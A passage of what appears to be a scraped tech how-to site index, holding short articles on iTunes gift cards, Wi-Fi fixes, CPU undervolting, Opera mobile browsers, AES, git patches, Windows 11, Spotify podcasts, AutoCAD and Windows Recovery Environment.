success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmgpbm6ecarpq6oXaW8rbXCsmSoppyuerW7jKemp5mUoravtdKtqZqsn6fAbrXNZq6ippSkxLR5kGk%3D\n","link":"/post/how-to-apply-group-policy-only-to-non-administrators-in-windows-10/","section":"post","tags":null,"title":"How to apply Group Policy only to non-administrators in Windows 10"},{"body":" Whether your iTunes gift card was received for Christmas, a birthday, or a number of other reasons, you will need to know how to use it. What exactly do you do with it? Read below for a basic walk-through of each step in redeeming your...\nMethod 1of 2:\nSetting up or Signing in to an Account  Open an internet browser. Navigate to Apple's website and download the iTunes program.\n  Open iTunes. Once the download is complete, open the program. It will take a moment to load.\n  Create an iTunes account, if necessary. You can create an account within iTunes itself, if you do not already have an account. Click the word Store. Click Create Apple ID. Click Continue. Read and agree to the terms and conditions to continue. Click on the small box at the bottom right, then click Agree. Apple will ask you for personal information in order to open an account. Be prepared with your date of birth and an email address. You will also need to create a password and set up your security questions to continue.    Sign in. Using the id you have just created or an already existing account (if you have one), sign in if you aren't already. If your music library appears when you open iTunes, you're already signed in to your account. If the iTunes store appears when you open iTunes, the account email address is in the upper left hand area of the gray tab at the top in the \"iTunes Store\" area. Make sure this is your account email address.  Method 2of 2:\nRedeeming the iTunes Card  Have your iTunes gift card ready.\n  Open the iTunes Store.\n  Scroll down the screen to the word Manage.\n  Click Redeem. Enter the 16 digit gift card code that is on the back of the card in the box marked CODE at the bottom of this screen. The amount of the gift card will be applied to your iTunes account. When you purchase songs or other media, iTunes will automatically deduct the cost from your gift card first until the card reaches a zero balance. Check the remaining balance by looking at your account.\n  Purchase. Begin using your gift card to purchase a variety of items through the iTunes store. You can buy music, music videos, movies, books and more. Be sure that you pay attention to how much money is left on your account, as well as to the cost of any potential purchases. This will keep you from going over the limit.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiuoyiq66mlah6qLXFrWScmaKZ\n","link":"/post/how-to-use-an-itunes-gift-card/","section":"post","tags":null,"title":"How to Use an iTunes Gift Card"},{"body":"The yellowish-white Wifi error took place quite popularly in the Wifi device, causing the computer to not catch WiFi. This error occurs when IP conflicts or the number of Wi-Fi connections leads to limited network. What should I do to meet this situation? We would like to guide you how to fix Wifi errors with yellow exclamation\nFix some problems for Wi-Fi networks 9 ways to speed up Wifi effectively How to play Wifi from iPhone, Android to laptop Instructions to fix the yellow exclamation computer network error Method 1: Restart Wifi device : modem, router First, you should restart your Wifi device. Turn off the power of the Wifi device, wait about 1-2 minutes, then plug it back in.Note : only power off and not restart Wifi. Then try turning on Wifi again to see if the connection is normal.\n  If still not, try using another computer to connect to Wifi again, if another computer is connected normally, it will show that your computer is having IP conflict. To remedy this situation, you follow the following 2 ways.\nMethod 2: Reset the static IP to the computer Step 1 : You right-click on the network icon select Open Network And Sharing Center\n  Step 2 : Next, choose Change Adapter Settings\n  \nStep 3: Right-click the connected Wifi and select Properties\n  \nStep 4 : Double click Internet Protocol Version 4 (TCP / IPv4)\n  \nStep 5 : The new interface shows you select the Use the folowing IP address line and fill in the following parameters:\nIP address ( this is what you write yourself ): for example 192.168.1.15 (note: 192.168.1 is required because this is the parameter of the modem, you can only change the number 15 to another number. For example, 192.168.1.16 or 192.168.1.20 .) Subnet mask : default is 255.255.255.0 Default Gateway : Please enter 192.168.1.1 Continuing to select Use the folowing DNS server addresses, you enter Google DNS at 8.8.8.8 and 8.8.4.4 .\n  After finishing, you select OK is finished\nNote : If you open a computer that has already set a static IP, switch to dynamic IP by clicking on the Obtain an IP address button and automatically connect to Wifi. If it is not, you can reset the static IP to the original static IP.\nMethod 3: Re-issue dynamic IP with DOS commands First open the RUN window ( Windows + R shortcut ) -\u0026gt; type cmd command -\u0026gt; DOS interface display type ipconfig / release , enter Enter-\u0026gt; Continue typing ipconfig / renew to complete Enter. Now try to reconnect to see if it is okay\n  Method 4: Reset the Wifi driver for the computer Wifi error is subject to yellow exclamation also because the Wifi driver in your computer is faulty, please reinstall the Wifi driver and reconnect to see how.\nMethod 5: Reconfigure the wifi device If you have done all the above and still cannot successfully connect to Wifi, then your device may be faulty and you will have to reconfigure it. If you don't know how to configure wifi, you can refer to our article below\nInstructions for installing Wifi Router Tenda W311R The above is the whole way to fix it every time the network is yellowed. Hope these ways will help you fix errors successfully!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaema22r7OMsKCfoV2av7O70axksKGknXq6sculprBlla2wra3Mmquip54%3D\n","link":"/post/instructions-for-fixing-wifi-errors-with-yellow-exclamation/","section":"post","tags":null,"title":"Instructions for fixing Wifi errors with yellow exclamation"},{"body":"The more work you do on your computer, the hotter your CPU (processor), especially when playing games or editing heavy videos. Your CPU is more susceptible to heat when the ventilation system is poor or the thermal glue on the chip is worn out. However, there is a process that can help you reduce processor temperatures called 'undervolting'.\nWhere is the laptop hot? This process is an effective way to reduce computer heat using software. This article will use Throttlestop to cool the CPU.\nNote : If you are unaware of the health situation of the CPU, you can read the article How to check the computer's CPU temperature ?.\nWhat is the Undervolting process? Before going into specific instructions, we need to know something about this process. Although undervolting does not damage the CPU, performing too much can cause the system to be unstable (although this process can be reversed easily). On the other hand, overvolting can damage the CPU if it is misused, but if used carefully, you can overclock the CPU to a higher speed.\nSimple undervolting reduces power / voltage directly to the CPU. The more power on the CPU, the higher the temperature; and vice versa, the less electricity, the lower the temperature. Another possibility of undervolting is that it can extend the laptop's battery life. And undervolting does not affect performance even if you perform intense activities like gaming.\n10 'tricks' improve gaming performance on laptops Undervolt CPU using Throttlestop First, download and install Throttlestop, then open it.\n  You will see a series of numbers and options that can distract you, but ignore these numbers, you just need to care about the 4 top left buttons. These buttons will help you change different profiles, each profile will have its own undervolt settings. You can create different profiles like 'Game' to use when playing games or 'Performance' if you want.\n  So, with the selected profile, click on the FIVR button in Throttlestop. In the new window click on the Unlock Adjustable Voltage box . Next, reduce the Offset Voltage slider, in the Undervolting section. You should reduce it to -100mV.\n  Then, click on \" CPU Cache \" in the \" FIVR Control \" section, and set it to the same voltage level. It is important that CPU Core and CPU Cache always have the same Voltage Offset level.\n  Once you have completed the steps above, click on ' Apply ' and continue to monitor system stability and CPU temperature. You can monitor CPU temperature from Throttlestop's main window.\nIf your system remains stable (no blue screen appears), you can continue to reduce CPU Cache and Core CPU voltage to -10mV to continue reducing CPU temperature. If you reach a point where the system crashes, restart the computer, open Throttlestop and return to the previous Offset Voltage level, when the system is still stable.\nFor different CPUs, the applied voltage level is not the same. You need to experiment to find your CPU limit. Once you've made the adjustments, click ' OK ' in the FIVR control panel, then select ' Turn On ' in the main Throttlestop window.\n  If you do not want to open Throttlestop manually every time you want to undervolt the CPU, you can set it to open when you start Windows. You can refer to the article How to program start up with the system ?.\nBy using this method, many people reduce the CPU temperature when playing games from nearly 90 ° C to 70-75 ° C. This is more effective when you adjust the temperature from within Windows. However, if you still have problems, you can use the new thermal paste for the CPU or clean the computer, refer to the Cleanup article: How to help the computer \"life\" more.\nSee more:\n5 ways to cool down, cool, laptop radiator simple and effective Install water cooling system for computers How to measure chip temperature, hard drive, video card . computer, laptop ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWatnpmys8LOpatmqpWZwqS1zaBknKilYsGmuc%2BeqZqspaey\n","link":"/post/instructions-for-undervolt-reducing-cpu-temperature/","section":"post","tags":null,"title":"Instructions for undervolt reducing CPU temperature"},{"body":"Today with the explosion of applications on smartphones and tablets, internet access on these mobile devices has become more and more popular. However, the built-in web browsers do not really satisfy fastidious customers who regularly browse the web for both work and entertainment purposes. Understanding that need of a large number of users, Opera Software has consistently launched web browser versions for mobile devices.\n  Since its inception, Opera browser has been present on more than 3000 devices with over 100 million users worldwide and become the most popular web browser on mobile devices.\nMarch 22 Opera Software officially launched its latest version of Opera Mini 6 and Opera Mobile 11 for both smartphones and tablets.\n' If you feel frustrated with web browsers on your phone or tablet, don't let that bother you. Try one of our browsers, ' said Lars Boilesen, Opera Software's CEO.\nCompletely free and many improvements\n  Browse the web with Opera Mini 6 on the phone. (Photo Opera)\n- Smoother operation on operating systems: Advanced scrolling, rotating and zooming movements make Opera Mini and Opera Mobile browsers the best choice for mobile devices Improved features outperformed Opera Mini 5.\nOpera Software has innovated network access on computers, mobile phones and other networked devices. Opera's cross-platform access technology is known for its efficiency, standard compliance and small size, while allowing users to access faster, safer and more dynamic.\n- Pinch-to-Zoom: Comfortably run horizontally and navigate all directions. Opera has supported dragging to zoom in and out on multi-touch devices.\n- Share: New version integrates sharing features right in the browser, so you can easily post, Tweet, or notify friends on Facebook, vKontakte or My Opera.\n  Browse the web with Opera Mobile 11 on tablets.\n- Optimized for both tablets: Opera for tablet with a completely new interface promises to give users a new experience of web browsing capabilities as well as being fascinated by the speed.\nThe difference between Opera Mini browser and Opera Mobile browser\n- Opera Mini browser uses Opera's servers to transfer and compress web pages to one-tenth of its original size before sending them to your phone. So the data transmission is significantly reduced, web pages will load faster. For the form of payment for usage traffic, Opera Mini browser is the first choice to save your budget.\n- Opera Mobile browser gives you a web browsing experience on smartphones and tablets similar to the PC: The magic of HTML5, full web browser with high fidelity. Opera Mobile is the first choice for fast, powerful browsing in an unlimited data Internet environment and Wi-Fi.\n- Opera Mini 6 browser runs on many platforms: J2ME, Android, BlackBerry and Symbian / S60.\n- Opera Mobile 11 browser also runs well on Android, Symbian, Windows 7 desktop (trial version), MeeGo (trial version) and Maemo (trial version).\nYou can discover this new technology yourself by visiting: http://m.opera.com/ from your phone.\nDownload Opera Mini here.\nDownload Opera Mobile here.\nSee more information at http://www.opera.com/mobile/next/.\nWatch videos introducing Opera Mini 6 and Opera Mobile 11\n\nncG1vNJzZmismaXArq3KnmWcp51kuaLBzZyfnpxdq7Kzv8iopWanlmK8sbHRmmSmoZ6eend5wKebZqegmr%2BiecyomaKklWJ%2Bcg%3D%3D\n","link":"/post/launched-version-of-opera-mini-6-and-opera-mobile-11/","section":"post","tags":null,"title":"Launched version of Opera Mini 6 and Opera Mobile 11"},{"body":"AES stands for Advanced Encryption Standard, the data encryption standard is very popular, used for many purposes and used by the US government to protect confidential data.\nAES is a symmetric block coding, meaning that each block of text has a certain size (128 bits) encoded, unlike string encoding when each character is encoded. Symmetry means that the key to encrypt and decode is one.\nAES history AES was developed in the late 90s to replace the previous encryption standard, Data Encryption Standard (DES) created by IBM in the early 70s. It was used by the US government in 1977 but then there were many vulnerable vulnerabilities (brute force, differential / linear cryptanalysis) due to the 56-bit algorithm, it was no longer useful when Computer processing is getting stronger.\nIn 1998, DES became 3DES or Triple DES, using the DES algorithm to transmit messages three times in a row with three different encryption keys. 3DES makes data safer than the brute force attack of that time.\n15 algorithms were proposed to replace DES, beginning the 5-year process of the US government. AES was proposed by two cryptographers Vincent Rijmen and Joan Daemen, later called 'Rijindael application'.\nAES is an open standard because the real standard is not yet defined. During the design process, it also received comments and suggestions. It is developed by the US National Institute of Standards and Technology with the aim of ease of use for both hardware and software. Some key and block changes are made to increase safety.\nThe NSA also participated in reviewing 15 proposals. By August 1999, there were only 5 algorithms (Rijndael, Serpent, RC6, Twofish and MARS). The 'candidates' are further analyzed for security, ease of use, copyright, speed, accuracy when encoding and decoding.\nThe final winner was Rijndael, then posted to the US government in 2002 and both NSA and other organizations. Until now, AES is still used for top-secret documents, known as FIPS (Federal Information Processing Standard). It is then used in the private block, the most popular encryption standard with symmetric key encryption.\n  AES is a popular symmetric block coding standard\nHow does AES work? AES is a block encryption type, each block is 128 bits in size. Symmetric keys with 3 sizes are 128, 192 and 256 bits, of which the following two sizes are used by the US government for high-level confidential documents, called 'Top Secret'.\nRijndael was originally allowed to add blocks and increase the key length but the standard was later dropped, keeping the standard size as mentioned above. AES is the only widely released encryption standard approved by NSA to protect government information at the highest level.\nAES uses the Swn - Substitution Permutation Network (SPN) algorithm. The data is converted into a secure form in a few steps, starting with the standard size plain text block, then inserting into the row and then coding. Each time there are steps to replace, convert, mix.\nJust as 3DES has 3 coding steps, AES also has many steps but is implemented more, depending on the key length, with a key of 128 bits is 10 times, 192 bit key is 12 times and 256 bit key is 14 times.\nIn this process, the encryption key is created and must also have this key to decrypt. Otherwise, the data will just be an unreadable mess. Both the sender and the receiver must know the encryption and decryption key.\nAES for everyone Anyone can use AES today, just like its open source source. For example, through AES Encryption page the data is placed in the text box, the key is entered below and the key length is selected, all 3 key lengths are supported. Then choose encryption or decoding is okay. Although anyone can use AES via the web, the web interface is unsafe, so it is difficult for the government to use it.\n  AES encryption interface right on the web\nAES and the Internet Although AES was originally created for the US government to secure data, it could also be used to transfer data over secure networks. AES is used to share files over HTTPS connections, more secure than HTTP, which is designed to prevent intermediate attacks.\nAES is also used to encrypt WiFi on the router, when combined with the popular WPA2 protocol, it is called AES / WPA2. Other security protocols used with WPA2 are TKIP older than AES and are believed to be no longer secure. AES is also used to support SSL encryption.\nSee more:\n5 popular encryption algorithms you should know Set up Wifi network system using WPA / WPA2 encryption standard Top 20 best encryption software for Windows ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFurcSsZJqcppa7pLHDZpynm6KuvbW1zqdkrKyRo7GivsM%3D\n","link":"/post/learn-about-aes-advanced-encryption-standard/","section":"post","tags":null,"title":"Learn about AES (Advanced Encryption Standard)"},{"body":"The patch is a text file, its content is similar to git diff, but in parallel with the code, it also has metadata about commits such as commit IDs, dates, commit messages . We can Create a patch from commits and others can apply them to their repository.\nJerry performs the strcat function for his project. Jerry can create a patch of his code and send it to Tom. After that, he can apply the received patch to his code.\nJerry uses the git format-patch command to create a patch for the latest commits. If you want to create a patch for a specific commit, then use COMMIT_ID with the format-patch command.\n[jerry @ CentOS project] $ pwd / home / jerry / jerry_repo / project / src [jerry @ CentOS src] $ git status -s M string_operations.c ?? string_operations [jerry @ CentOS src] $ git add string_operations.c [jerry @ CentOS src] $ git commit -m \"Added my_strcat function\" [master b4c7f09] Added my_strcat function 1 files changed, 13 insertions (+), 0 deletions (-) [jerry @ CentOS src] $ git format-patch -1 0001-Added-my_strcat-function.patch  The above command creates the .patch files inside the current working directory. Tom can use the patch to edit his file. Git provides two commands to apply patches that are git am and git apply, in a separate way. Git applies to editing internal files without creating commits, while git am modifying the file and also creating commits.\nTo apply patch and commit, use the following command:\n[tom @ CentOS src] $ pwd / home / tom / top_repo / project / src [tom @ CentOS src] $ git diff [tom @ CentOS src] $ git status –s [tom @ CentOS src] $ git apply 0001-Added-my_strcat-function.patch [tom @ CentOS src] $ git status -s M string_operations.c ?? 0001-Added-my_strcat-function.patch  This patch has been successfully applied, now we can observe the modifications using the git diff command.\n [tom @ CentOS src] $ git diff  The above command produces the following result:\n diff --git a / src / string_operations.cb / src / string_operations.c index 8ab7f42.f282fcf 100644 --- a / src / string_operations.c +++ b / src / string_operations.c @@ -1,5 +1,16 @@ #include + char * my_strcat (char * t, char * s) diff --git a / src / string_operations.cb / src / string_operations.c index 8ab7f42.f282fcf 100644 --- a / src / string_operations.c +++ b / src / string_operations.c @@ -1,5 +1,16 @@ #include + char * my_strcat (char * t, char * s) + { + char * p = t; + + + while (* p) ++ p; + while (* p ++ = * s ++) +; + return t; + } + size_t my_strlen (const char * s) { const char * p = s; @@ -23,6 +34,7 @@ int main (void) {  According to Tutorialspoint\nPrevious post: Tag operation in Git\nNext lesson: Managing branches in Git\nncG1vNJzZmismaXArq3KnmWcp51kvaLAwqFkqKiVp661tc6nZKKmXZy2tQ%3D%3D\n","link":"/post/patch-operation-in-git/","section":"post","tags":null,"title":"Patch operation in Git"},{"body":"Just a few days ago, we heard that Windows 11 would have a new feature called Stickers and a new Tablet mode among other things. Just recently, leaks continued to appear regarding Taskbar improvements and new prompts in Settings for unsupported computers.\nBut not stopping there, we continue to have another leak related to Task Manager. According to leak expert FireCube, Microsoft is adding more options to the new Task Manager on Windows 11 build 22543 for the Dev channel.\nBased on the image shared by FireCube, we can see that the new Task Manager will have a separate section. This section displays the information \"Application Status, \"Battery Status\" and \"Startup Status\".\n  As such, Windows 11 will be able to detect problems related to the application, battery or startup status of the machine. When a problem is found, a notification will be put in a new section of the Task Manager. From here, users can easily control their devices.\nHowever, these are still only initial designs for testing purposes. Based on the feedback of users participating in the Dev channel, Microsoft will make adjustments accordingly.\nThis is not the first time we have seen leaks related to Task Manager. Previously, in build 22538, leaked information showed that Microsoft was developing a new version of Task Manager for Windows 11. If you are interested in the new Task Manager, you can refer to how to activate it here:\nTipsMake.com will continue to update information related to Windows 11 for your convenience.\ntask manager windows 11 ncG1vNJzZmismaXArq3KnmWcp51kwLC7zWarqGWSmnqirsueZK2nXaiypnnAqadmq6SWwba%2FjJuYrayVp8Zuv9Oaq66rXae2qLTTZqCnZaSdsm7AwKyiZqWRo66osdFmpp9lp567pbvWrGRqaQ%3D%3D\n","link":"/post/soon-to-be-able-to-see-app-status-battery-status-right-in-the-task-manager-of-windows-11/","section":"post","tags":null,"title":"Soon to be able to see app status, battery status... right in the Task Manager of Windows 11"},{"body":"Spotify \u0026nbsp;is an application that provides music-related services from record labels such as Sony, EMI, Warner Music Group and Universal. Spotify also lets you enjoy an ad-free, network-free listening experience and more. Today, I would like to introduce to you 3 ways to create Podcasts on Spotify for free, simple and fastest.\nPodcast is a noun that refers to digital audio files available on the Internet and users can download and listen to on devices such as:\u0026nbsp; Phones ,\u0026nbsp; tablets ,\u0026nbsp; computers .\nPodcasts have a multitude of different topics for you to choose from to suit your interests.\nSpotify is a music application that has been present in Vietnam and is well received by users because of its music quality.\nSpotify contains a huge music store with the ability to update new songs extremely quickly. Besides, Spotify's music quality is extremely high, which most popular music applications in Vietnam have not yet been able to do. And of course it's all copyrighted music.\n  To create a Podcast on Spotify, you need to go through Podcast hosting, and for Spotify to accept and list it on their app, your Podcast channel must have the following information:\n- Must have at least one published episode (One Live Episode): If you still haven't finished your Podcast, you can upload a short video such as a\u0026nbsp; trailer \u0026nbsp;to satisfy this condition.\n  - Description (Podcast Description): Like posting videos on other platforms such as\u0026nbsp; Youtube , . You need a description to help listeners know the content of the Podcast you have posted and see if it has the content that you have. are they looking or not?\n  - Cover Art (Podcast Artwork): You can use the channel's photo or upload a separate photo for each episode. Podcast cover photo must be at least 1400 x 1400 pixels, up to 3000 x 3000 pixels, in .jpg or .png format.\n  - Category (Category): Podcasts must be in at least one category for the Spotify app to identify and put it in a specific category on the app.\n  - Language (Language Selection): The podcast channel must have a language selection for Spotify to deliver content to listeners in the most standard way.\n  - Author (Podcast Artist): Podcast must have the name of the channel owner.\n  - Explicit Checkbox: Confirm your Podcast contains clear and correct content.\n  Creating a Podcast on Spotify with Buzzsprout is the most popular and simplest way. You should use this method when using Podcasts for the first time.\nBuzzsprout is the most used podcast hosting service in the world, most podcasters use Buzzsprout to store and publish to applications such as Spotify, Appe Podcast,\u0026nbsp; Google Podcast . Buzzsprout allows trial for 3 month, at the end of this time you can choose packages from $12-$24 to continue uploading and storing Podcast episodes.\nYou need to register an account on Buzzsprout first, the steps to create a Podcast on Spotify with Buzzsprout are as follows:\n+ Step 1: Select the Directories tab \u0026gt; Click Get Listed under the Spotify icon.\n  + Step 2: You need to satisfy the conditions you mentioned above, click the Submit Your Podcast to Spotify box below\n  Then you need to wait for 10-15 minutes your Podcast channel will appear on Spotify.\nAnchor is also a platform that can help you create Podcasts on Spotify, just work on Anchor, the Podcast channel will sync to Spotify.\n+ Step 1: You need to visit Anchor's website here , then click Get Started.\n  + Step 2: After entering your name and email, you need to click Sign up.\n  + Step 3: Go to Gmail, click on the link Anchor sent to you to confirm the account.\n  + Step 4: To create Podcast with Anchor. You need to, click on Let's do it.\n  + Step 5: Anchor will give you two options to create a Podcast:\n+Record: live recording.\n+Click to upload or drag files here: upload audio files.\n  + Step 6: After uploading the audio file, you need to click Save episode.\n  + Step 7: On the next page, you need to enter all the information such as: Title, Description, etc. Once done, click Publish now.\n  + Step 8: Fill in channel information including: Channel name, Description of channel topic, Category and language. After entering the necessary information, click Continue.\n  + Step 9: Create an avatar for your Podcast, Anchor allows you to choose from the available templates. Then select Upload an image.\n  + Step 10: When the photo upload is successful, select Continue.\n  + Step 11: After editing the photo to your liking, select Update cover art.\n  + Step 12: Click Yes, distribute my podcast to agree.\n  + Step 13: Click OK, thanks.\n  + Step 14: You need to return to Dashboard to complete your Podcast.\n  + Step 15: Scroll down and you will see the item Set up monetization. Then click Not right now,thanks to skip.\n(Note: This is a function that allows listeners to donate to a Podcast channel, but it only works in the US).\n  After the above 15 steps, you are done with the Podcast channel installation.\nIf you don't use Buzzsprout, Anchor to host Podcasts, or your Podcast hosting doesn't connect API to Spotify, use Spotify for Podcasters service to submit channels.\n+ Step 1: You need to go to Spotify for Podcasters website here, then select GET STARTED.\n  + Step 2: Sign in your Spotify account.\n  + Step 3: Check I have read and agree to the terms and conditions., click I ACCEPT.\n  + Step 4: Continue to press GET STARTED.\n  + Step 5: You need to enter the RSS feed link in the box \u0026gt; Click NEXT to continue.\n*Note: Each podcast channel has only one RSS feed. The RSS feed link is located in the settings of the podcast hosting you are using.\n  + Step 6: Spotify will send a verification code to the email address you use to sign up for podcast hosting. Press SEND CODE to receive the code.\n  + Step 7: Check your email then enter the code you just received and press NEXT.\n  + Step 8: You need to choose the right information for your Podcast, this helps Spotify categorize the channel in the most accurate way. Then press NEXT.\n  + Step 9: Click SUBMIT to complete.\n  After successfully submitting the Podcast to Spotify, your channel will appear on this application within 1 week.\nAfter creating a Podcast on Spotify, you can share it to \u0026nbsp;Facebook ,\u0026nbsp; Twitter , etc. on both the Spotify mobile and computer app.\nOn your computer, to get the Podcast sharing link, you need to do the following steps:\n+ Step 1: Click the 3-dot button of an episode you want to share.\n+ Step 2: Select Share \u0026gt; Click Copy episode link.\nTo share on your phone you need:\n+ Step 1: Select an episode you want to share and then press the 3 dots button.\n  + Step 2: Click Share \u0026gt; Then choose where you want to share the Podcast episode.\n  These operations are completely free, so you can rest assured to use them without worrying about additional fees that will be incurred during the use of the application.\nYou just need to wait 5-10 minutes for Podcasts on Spotify to sync all the content you've uploaded.\nJust 3 ways to create Podcasts on Spotify for free, simple and fastest, hope you will like this article! See you in the next topics.\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmL%2BmrdOeZJploKSxpK3SrWSopl2ovbDAyJ%2BwZp6fp3qnvsSeZKyhnaW5pnnAp5tmnpGowaa%2F0w%3D%3D\n","link":"/post/steps-to-create-a-podcast-on-spotify-for-free-simple-and-fastest/","section":"post","tags":null,"title":"Steps to create a Podcast on Spotify for free, simple and fastest"},{"body":"1. Insert images into Cad via Microsoft Word With this way of inserting images, you do not need to convert the image format to BMP and still insert it into AutoCAD. Proceed as follows:\nStep 1: Open Microsoft Word and insert the image you want to convert to Cad. Next, you right click on the image (1) =\u0026gt; Copy (2).\n  Step 2: Right-click on the Cad workspace (1) =\u0026gt; Paste (2).\n  Step 3: You click on the point to insert the image on Cad.\n  Step 4: Click OK to insert the image.\n  And then you have the desired image on Cad.\n  2. Other ways to insert images in Cad If you do not change the image file to .bmp format, the image file after being inserted in Cad will not be fully displayed, but only displayed as an icon or image information as shown in the example below.\n  2.1. Convert image files to BMP . format You can quickly convert image files to bmp format with the Paint tool available on Windows as follows.\nStep 1: Right-click on the image file (1) =\u0026gt; Edit (2).\n  Step 2: You go to menu File (1) =\u0026gt; Save as (2) =\u0026gt; BMP picture (3).\n  Step 3: Next, save the image with the option name (1) =\u0026gt; Save (2).\n  2.2. Insert images with the Attach . tool Step 1: You go to the menu Insert (1) =\u0026gt; Attach (2).\n  Step 2: Click on the image file you want to insert (1) =\u0026gt; Open (2).\n  Next, click OK to insert.\n  Step 3: You click on the point to insert the image.\n  Next, enter the scale parameter for the image and press Enter. The smaller the number, the smaller the displayed image size.\n  After the operation is complete, your image will be inserted in Cad as shown below.\n  Step 4: To resize the image, select the image and click on the 4 points on the image to enlarge / reduce the image.\n  Next, you move in the direction you need to zoom in/out to adjust the image as you like.\n  And then you will have the image you want.\n  2.3. Insert images with OLE Object OLE Object (Object Linking and Embedding) is a tool to help you insert attachment formats developed by Microsoft. In Cad this tool is integrated and you can use this tool to insert images.\nStep 1: You go to Insert menu (1) =\u0026gt; OLE Object (2).\n  Step 2: Click Create from File (1) =\u0026gt; Browse (2).\n  Next, you select the image file (3) =\u0026gt; Open (4) to insert.\n  Step 3: Click OK to insert.\n  After the setup is complete, your image is inserted into the Cad file.\n  With the instructions in the article, you can insert any image into AutoCAD quickly and easily. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddnru0sdGtZKKlkZyytHnIp6uoZZGqwbCvwJ0%3D\n","link":"/post/steps-to-insert-images-into-autocad/","section":"post","tags":null,"title":"Steps to insert images into AutoCAD"},{"body":"It is basically a simplified version of Windows that includes a series of recovery tools designed to diagnose and fix problems related to the Windows operating system.\nLet's explore all the different elements of WinRE and how they can help you.\nWhat is Windows Recovery Environment (WinRE)? WinRE is usually located in a separate partition, next to the main Windows partition. It can be launched both automatically and manually. WinRE will automatically launch when any of the following occur:\nThere is a Secure Boot or BitLocker error. Your PC failed to start up twice in a row. The system reboots after booting or shutting down twice in a row. The WinRE interface is quite customizable. With the Windows Imaging or DISM (Deployment Image Servicing and Management) application programming interface, you can add additional languages, device drivers, and diagnostic tools to the recovery environment.\nHowever, you should note that the number of packages, languages ​​and drivers is limited by the amount of memory available on the computer. Therefore, it is best to add as few languages, drivers and tools to the image as possible.\nWhat tools are included in WinRE? After your PC boots into the Windows Recovery Environment, you can start troubleshooting to get your system back up and running. Let's explore the tools available in this recovery environment.\n1. Reset This PC If you are experiencing problems in your Windows operating system that cannot be resolved by normal troubleshooting methods, then you should reset the machine.\n  It basically reverts your operating system to its original, default state. During the reset process, you are given the option to keep or delete all your files and data. You can continue with one of the options that best suits your situation.\n2. Startup Repair You'll find this option (and the ones that follow) in the Advanced Options menu. It automatically launches and works if you have trouble booting into the Windows operating system.\n  Startup Repair works by scanning the system for related problems and fixing them without any user information. It can repair corrupted Master Boot Records (MBRs), partition tables, and even uninstall updates that may be causing problems.\n3. Startup Settings This tool is also designed to fix boot problems, but it works by changing the default startup settings. For example, using Startup Settings, you can boot into Safe Mode, which starts Windows with a minimal set of drivers to help you determine which programs are problematic.\n4. Command Prompt This command line interpreter is definitely one of the most useful tools in the Windows Recovery Environment. You can use it to run built-in Windows troubleshooting utilities like System File Checker (SFC), Deployment Image Servicing and Management (DISM), CHKDSK, etc.\nBesides, you can also use it to perform complex tasks like fixing Windows Registry edits.\n5. Uninstall Updates While updates are usually full of bug fixes and new features, they can sometimes contain bugs that cause problems in the system. When you have problems with your system after installing an update, uninstalling that update using the Uninstall Updates tool in WinRE can solve the problem.\n6. UEFI Firmware Settings The firmware settings of different devices can be accessed in different ways. Using the UEFI Firmware Settings tool in WinRE, you can have a consistent method of accessing these settings. So no matter what device you're using, you don't have to go through the tedious process of finding these settings, as you can simply boot into the Windows Recovery Environment and access them from there.\n7. System Restore/System Image Recovery Before performing important operations, Windows takes a snapshot of the current working state of the system. The system creates this restore point so that if anything goes wrong in the future, you can restore your system to a previously established point in time.\nUsing the System Restore tool in WinRE, you can revert your system to its previous state. Similarly, you can restore your Windows installation from a disk image file (if you created one) using the System Image Recovery tool.\nWhat is the difference between WinRE on Windows 10 and Windows 11? Windows 11 comes with several upgrades, as well as many other programs and features, Microsoft has also tweaked the Windows Recovery Environment to make it work better.\nWindows 11 allows you to access WinRE without first accessing an admin account. However, files encrypted with the recovery environment will not be accessible until you enter the key to unlock the volume. Furthermore, the Windows 11 recovery environment allows you to use Ease of Access features. You can do so using keyboard shortcuts.\nHow to boot into Windows Recovery Environment As mentioned earlier, this recovery environment will automatically launch when you have problems using the system. However, there are also some ways to boot into WinRE manually.\nBut make sure this feature is enabled on your Windows operating system before you proceed with any method.\nHere's how you can do it:\nStep 1. Type cmd in the taskbar search area and click Run as administrator.\nStep 2. Click Yes in the User Account Prompt to continue.\n  Step 3. Once you are inside the Command Prompt window, type the command mentioned below and press Enter.\nreagentc /info   Step 4. Check Windows RE status. If it is already enabled, then you can proceed with the methods of booting into WinRE.\nStep 5. If it is disabled, execute the following command in the same Command Prompt window:\nreagentc /enable   This will enable WinRE on your Windows operating system.\nWith Windows RE, Microsoft has combined many tools and resources into one cohesive interface for troubleshooting. Once you know how to use it correctly, you don't need to take it to a specialist or spend a lot of time troubleshooting.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWnnrulu9asZKudk6TDpr7YZpynrpmnvK%2B5xKerZqCfrHqlu8SsZLChnqeybsPOq6I%3D\n","link":"/post/what-is-windows-recovery-environment-how-does-winre-work/","section":"post","tags":null,"title":"What is Windows Recovery Environment? How does WinRE work?"},{"body":"This article shares with you 13 Portable antivirus and anti-virus software \u0026nbsp;(form that does not need to be installed when used) to\u0026nbsp; secure your computer \u0026nbsp;and your data is always safe.\nThe special thing is that all the software I will introduce below are free and have Ppdate-Database function, meaning that if there is a new version, you do not need to download a new version like other Portable versions. Instead, you can update online quickly, saving you a lot of time. I remember in a certain article that I advised you not to use portable antivirus software because it does not have Real-time Protect, which means real-time protection. But in this article I will explain to you the reasons to use.\nAdvantages:\u0026nbsp;\nFree software , you don't have to pay a penny. The software is Portable, does not need to be installed when used. Support for Update-Database feature. Can be used in conjunction with other anti-virus software. (This is the reason why I recommend that you use these anti-virus software). Computers with a low profile can still be used because we don't have to install it. No conflicts when used with other anti-virus software on the computer. You can copy to USB, removable hard drive or other portable devices to use whenever you need. Defect:\nDoes not support real-time computer protection (Real-Time) so it will not be able to detect viruses in time. But this disadvantage will be overcome if you install an\u0026nbsp; anti-virus software \u0026nbsp;on your computer\u0026nbsp; And now we will come to 13 these portable antivirus software right away:\n1. 